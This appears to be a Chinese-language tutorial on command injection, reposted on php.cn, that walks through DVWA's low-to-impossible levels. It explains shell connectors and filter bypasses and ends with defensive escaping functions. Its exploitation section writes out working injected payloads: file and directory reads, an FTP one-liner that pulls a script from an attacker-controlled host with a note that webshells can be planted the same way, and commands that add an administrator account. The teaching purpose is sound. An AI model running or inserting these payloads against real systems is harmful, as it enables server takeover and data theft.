【命令执行】命令执行漏洞总结v1.0

蓮花仙者
发布: 2025-09-26 09:20:01
原创
853人浏览过

你好,各位小伙伴们,晚上好!我是你们的小编~

最近网络安全的话题真是热得不得了,连电视剧都开始蹭热度了。不知道大家有没有从中学到一些小技巧呢?

今天我们要聊的是命令执行漏洞的基础知识,一起来学习一下吧~

Part.1

什么是命令执行漏洞?

漏洞概述

在Web程序中,由于业务需求需要通过前端传递参数到后台服务器上执行命令。但如果开发人员没有对输入进行严格的过滤,攻击者就能构造一些带有非法目的的命令,欺骗后台服务器执行这些命令。

如果Web应用运行在root权限下,命令执行漏洞可能会导致攻击者在服务器上执行任意命令。

以DVWA平台的low安全等级为例,我们来看看这个漏洞的具体成因。漏洞页面如下:

【命令执行】命令执行漏洞总结v1.0输入IP地址并点击Submit,ping命令就会被执行:

【命令执行】命令执行漏洞总结v1.0查看后端代码:

【命令执行】命令执行漏洞总结v1.0首先通过php_uname('s')读取操作系统名,并与'Windows NT'对比以判断是否为Windows系统。

如果是Windows系统,则通过shell_exec()函数执行ping命令。

如果不是,则判断为Linux系统,执行ping -c 4命令。(因为Linux系统如果不指定发包数,ping会一直持续)

可以看到,这里没有对输入的'ip'参数进行任何过滤,因此存在命令执行漏洞。

在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig,结果如下:

【命令执行】命令执行漏洞总结v1.0ipconfig也被执行了,并且成功返回结果。

这就是一个简单的命令执行漏洞,如果web应用为root权限,我们还可以执行创建用户等各类操作。

常见的连接符

除了上面的&符,还有其他连接符,如下。

"|":前面命令的输出结果作为后面命令的输入内容;输入8.8.8.8|whoami:

【命令执行】命令执行漏洞总结v1.0"||":前面命令执行失败时才执行后面的命令;输入8.8.8.8||whoami:

【命令执行】命令执行漏洞总结v1.0"&":前面命令执行后接着执行后面的命令;

输入错误地址192.1.1.1&whoami:

【命令执行】命令执行漏洞总结v1.0"&&":前面命令执行成功时才执行后面的命令;

输入错误地址192.1.1.1&&whoami:

【命令执行】命令执行漏洞总结v1.0此外,Linux系统还可以使用";"号进行连接。

常用的命令执行函数

以PHP为例,常用的命令执行函数包括system、exec、shell_exec、passthru。

区别如下:

system:成功执行返回结果的最后一行,否则返回FALSEexec:成功执行返回结果的最后一行shell_exec:成功执行返回全部结果,否则返回NULLpassthru:把命令的运行结果原样地直接输出到标准输出设备接下来我们来看看DVWA平台,其他安全等级是如何防护和绕过的。

Part.2

漏洞的分析

Medium等级

后端代码:

【命令执行】命令执行漏洞总结v1.0Medium等级新增了str_replace()函数,将输入中的&&和;号替换为空。

但我们仍可以使用&、|、||等符号。

输入8.8.8.8&whoami绕过:

【命令执行】命令执行漏洞总结v1.0可以看到,这里采用了黑名单过滤的防护方式。

【命令执行】命令执行漏洞总结v1.0High等级

部分后端代码:

行者AI
行者AI

行者AI绘图创作,唤醒新的灵感,创造更多可能

行者AI 100
查看详情 行者AI

【命令执行】命令执行漏洞总结v1.0可以看到high等级过滤得更多了,但还是可以绕过,这里'| '里有个空格。

输入8.8.8.8|whoami,成功执行:

【命令执行】命令执行漏洞总结v1.0(强行留后门???)

Impossible等级

后端代码如下:

【命令执行】命令执行漏洞总结v1.0首先通过stripslashes()函数删除输入中的反斜杠。

然后通过explode()函数,以逗号为分隔符,对输入的内容进行分隔。

最后,使用is_numeric()函数,逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分,以此来判断用户输入的是不是IP。

白名单过滤,只有“数字.数字.数字.数字”类型的输入才会被执行,因此不存在命令执行漏洞了。

Part.3

漏洞的利用示例

读取指定目录内容

例如读取目录C:\windows\

输入8.8.8.8|dir C:\windows\

【命令执行】命令执行漏洞总结v1.0查看页面源代码:

【命令执行】命令执行漏洞总结v1.0读取指定文件内容

例如C:\windows\win.ini

输入8.8.8.8|type C:\windows\win.ini

查看网页源代码:

【命令执行】命令执行漏洞总结v1.0文件上传

在攻击者本地写一个php脚本,例如phpinfo.php,开启FTP服务。

输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

成功下载到服务器,如下:

【命令执行】命令执行漏洞总结v1.0尝试访问phpinfo.php,成功:

【命令执行】命令执行漏洞总结v1.0同理可上传webshell。

其他还包括创建管理员等操作,这里就不一一演示了:

127.0.0.1 | net user test 123 /add

127.0.0.1 | net localgroup administrators test /add

Part.4

漏洞的防御

漏洞的防御

1、对传入的命令进行严格的过滤

2、在后台对应用的权限进行控制,即使有漏洞,也不能执行高权限命令。

3、使用安全函数对输入转义

EscapeShellCmd()函数

【命令执行】命令执行漏洞总结v1.0EscapeShellArg()函数

【命令执行】命令执行漏洞总结v1.0Part.5

结束语

好啦,

以上就是【命令执行】命令执行漏洞总结v1.0的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号